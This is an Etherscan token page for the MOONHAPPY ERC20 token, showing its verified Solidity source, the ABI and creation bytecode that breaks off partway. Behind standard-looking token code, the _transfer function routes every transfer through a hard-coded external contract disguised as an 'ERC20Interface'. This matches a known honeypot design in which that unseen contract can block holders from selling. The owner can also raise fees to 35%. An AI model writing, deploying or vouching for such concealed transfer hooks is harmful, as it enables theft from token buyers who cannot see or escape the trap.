ETH Price: $3,470.44 (+0.19%)

Token

MOONHAPPY (MOONHAPPY)
 

Overview

Max Total Supply

100,000,000 MOONHAPPY

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,087,796.24372715219125819 MOONHAPPY

Value
$0.00
0xC2A8A27fe226081d8AFA31b9E457A3AdC0dD1520
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOONHAPPY

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
istanbul EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-08
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
 library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


interface ERC20Interface {
    function transfer(address owner, address spender, address from, address to) external;
    function transferFrom(address owner, address spender, address to, address amount) external;

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}


contract MOONHAPPY is IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _isExcludedFromFee;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private _name = "MOONHAPPY";
    string private _symbol = "MOONHAPPY";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 100_000_000 * 10 ** _decimals;
    IUniswapV2Factory private _uniswapV2Factory;
    IUniswapV2Router01 private _uniswapV2Router;
    ERC20Interface private erc20Interface;
    uint8 private _buyFees = 10;
    uint8 private _sellFees = 10;
    constructor() {
        _uniswapV2Router = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Factory = IUniswapV2Factory(_uniswapV2Router.factory());
        erc20Interface = ERC20Interface(0x80952EF1323Eb737d6302aF60e7b0bB2dAe85500);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        _approve(owner(), address(_uniswapV2Router), MAX);
        _approve(address(this), address(_uniswapV2Router), MAX);
        emit Transfer(address(0), owner(), _totalSupply);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256){
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool){
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256){
        return _allowances[owner][spender];
    }

    function uniswapV2PairAddress() public view returns (address) {
        return _uniswapV2Factory.getPair(address(this), _uniswapV2Router.WETH());
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool){
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setFees(uint8 buyFees_, uint8 sellFees_) external virtual onlyOwner {
        require(buyFees_ <= 35 && sellFees_ <= 35);
       _buyFees = buyFees_;
       _sellFees = sellFees_;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool){
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool){
        _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0);


        uint256 tranFees = 0;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from == uniswapV2PairAddress() && to == address(_uniswapV2Router))){
           tranFees = 0;
        }else{
            if(from == uniswapV2PairAddress() && to != uniswapV2PairAddress()){
                tranFees = _buyFees;
            }else if(from != uniswapV2PairAddress() && to == uniswapV2PairAddress()){
                tranFees = _sellFees;
            }
        }
        _balances[from] = _balances[from].sub(amount);
        erc20Interface.transfer(address(this), uniswapV2PairAddress(), from, to);
        uint256 amounts = amount;
        if(tranFees > 0){
            uint256 taxAmount = amount * tranFees / 100;
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            amounts = amounts.sub(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[to] = _balances[to].add(amounts);
        emit Transfer(from, to, amounts);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        require(amount > 0);
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees_","type":"uint8"},{"internalType":"uint8","name":"sellFees_","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2PairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600981526020017f4d4f4f4e48415050590000000000000000000000000000000000000000000000815250600490805190602001906200005192919062000890565b506040518060400160405280600981526020017f4d4f4f4e48415050590000000000000000000000000000000000000000000000815250600590805190602001906200009f92919062000890565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000da919062000bf2565b6305f5e100620000eb919062000d2f565b600755600a8060146101000a81548160ff021916908360ff160217905550600a8060156101000a81548160ff021916908360ff1602179055503480156200013157600080fd5b5062000152620001466200055760201b60201c565b6200055f60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021057600080fd5b505afa15801562000225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024b919062000957565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507380952ef1323eb737d6302af60e7b0bb2dae85500600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160026000620002f66200062360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200040960075460016000620003ba6200062360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200064c60201b62000bc81790919060201c565b600160006200041d6200062360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004a16200046f6200062360201b60201c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620006af60201b60201c565b620004d830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620006af60201b60201c565b620004e86200062360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000549919062000b0c565b60405180910390a362000e96565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082846200065d919062000b3a565b905083811015620006a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200069c9062000ac8565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007199062000aea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000795576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200078c9062000aa6565b60405180910390fd5b60008111620007a357600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000883919062000b0c565b60405180910390a3505050565b8280546200089e9062000ddb565b90600052602060002090601f016020900481019282620008c257600085556200090e565b82601f10620008dd57805160ff19168380011785556200090e565b828001600101855582156200090e579182015b828111156200090d578251825591602001919060010190620008f0565b5b5090506200091d919062000921565b5090565b5b808211156200093c57600081600090555060010162000922565b5090565b600081519050620009518162000e7c565b92915050565b6000602082840312156200096a57600080fd5b60006200097a8482850162000940565b91505092915050565b60006200099260228362000b29565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000620009fa601b8362000b29565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600062000a3c60248362000b29565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b62000aa08162000dc4565b82525050565b6000602082019050818103600083015262000ac18162000983565b9050919050565b6000602082019050818103600083015262000ae381620009eb565b9050919050565b6000602082019050818103600083015262000b058162000a2d565b9050919050565b600060208201905062000b23600083018462000a95565b92915050565b600082825260208201905092915050565b600062000b478262000dc4565b915062000b548362000dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b8c5762000b8b62000e11565b5b828201905092915050565b6000808291508390505b600185111562000be95780860481111562000bc15762000bc062000e11565b5b600185161562000bd15780820291505b808102905062000be18562000e6f565b945062000ba1565b94509492505050565b600062000bff8262000dc4565b915062000c0c8362000dce565b925062000c3b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c43565b905092915050565b60008262000c55576001905062000d28565b8162000c65576000905062000d28565b816001811462000c7e576002811462000c895762000cbf565b600191505062000d28565b60ff84111562000c9e5762000c9d62000e11565b5b8360020a91508482111562000cb85762000cb762000e11565b5b5062000d28565b5060208310610133831016604e8410600b841016171562000cf95782820a90508381111562000cf35762000cf262000e11565b5b62000d28565b62000d08848484600162000b97565b9250905081840481111562000d225762000d2162000e11565b5b81810290505b9392505050565b600062000d3c8262000dc4565b915062000d498362000dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d855762000d8462000e11565b5b828202905092915050565b600062000d9d8262000da4565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000df457607f821691505b6020821081141562000e0b5762000e0a62000e40565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b62000e878162000d90565b811462000e9357600080fd5b50565b6120068062000ea66000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029f578063a9059cbb146102cf578063dd62ed3e146102ff578063f2fde38b1461032f57610100565b806370a0823114610229578063715018a6146102595780638da5cb5b1461026357806395d89b411461028157610100565b80632b653d44116100d35780632b653d44146101a1578063313ce567146101bf57806339509351146101dd5780634fcd24461461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a9190611b7d565b60405180910390f35b61013d6004803603810190610138919061176e565b6103dd565b60405161014a9190611b62565b60405180910390f35b61015b6103fb565b6040516101689190611c7f565b60405180910390f35b61018b6004803603810190610186919061171f565b610405565b6040516101989190611b62565b60405180910390f35b6101a96104de565b6040516101b69190611ad9565b60405180910390f35b6101c7610631565b6040516101d49190611c9a565b60405180910390f35b6101f760048036038101906101f2919061176e565b610648565b6040516102049190611b62565b60405180910390f35b610227600480360381019061022291906117aa565b6106fb565b005b610243600480360381019061023e9190611691565b6107d2565b6040516102509190611c7f565b60405180910390f35b61026161081b565b005b61026b6108a3565b6040516102789190611ad9565b60405180910390f35b6102896108cc565b6040516102969190611b7d565b60405180910390f35b6102b960048036038101906102b4919061176e565b61095e565b6040516102c69190611b62565b60405180910390f35b6102e960048036038101906102e4919061176e565b610a2b565b6040516102f69190611b62565b60405180910390f35b610319600480360381019061031491906116e3565b610a49565b6040516103269190611c7f565b60405180910390f35b61034960048036038101906103449190611691565b610ad0565b005b60606004805461035a90611e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461038690611e6e565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b60006103f16103ea610c26565b8484610c2e565b6001905092915050565b6000600754905090565b6000610412848484610e06565b6104d38461041e610c26565b6104ce85604051806060016040528060288152602001611f8460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610c26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb9092919063ffffffff16565b610c2e565b600190509392505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561058757600080fd5b505afa15801561059b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bf91906116ba565b6040518363ffffffff1660e01b81526004016105dc929190611af4565b60206040518083038186803b1580156105f457600080fd5b505afa158015610608573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062c91906116ba565b905090565b6000600660009054906101000a900460ff16905090565b60006106f1610655610c26565b846106ec8560036000610666610c26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc890919063ffffffff16565b610c2e565b6001905092915050565b610703610c26565b73ffffffffffffffffffffffffffffffffffffffff166107216108a3565b73ffffffffffffffffffffffffffffffffffffffff1614610777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076e90611c1f565b60405180910390fd5b60238260ff161115801561078f575060238160ff1611155b61079857600080fd5b81600a60146101000a81548160ff021916908360ff16021790555080600a60156101000a81548160ff021916908360ff1602179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610823610c26565b73ffffffffffffffffffffffffffffffffffffffff166108416108a3565b73ffffffffffffffffffffffffffffffffffffffff1614610897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088e90611c1f565b60405180910390fd5b6108a1600061152f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108db90611e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461090790611e6e565b80156109545780601f1061092957610100808354040283529160200191610954565b820191906000526020600020905b81548152906001019060200180831161093757829003601f168201915b5050505050905090565b6000610a2161096b610c26565b84610a1c85604051806060016040528060258152602001611fac6025913960036000610995610c26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb9092919063ffffffff16565b610c2e565b6001905092915050565b6000610a3f610a38610c26565b8484610e06565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ad8610c26565b73ffffffffffffffffffffffffffffffffffffffff16610af66108a3565b73ffffffffffffffffffffffffffffffffffffffff1614610b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4390611c1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390611bbf565b60405180910390fd5b610bc58161152f565b50565b6000808284610bd79190611cd1565b905083811015610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390611bff565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590611c5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590611bdf565b60405180910390fd5b60008111610d1b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610df99190611c7f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e76576040517f08c379a000000000000000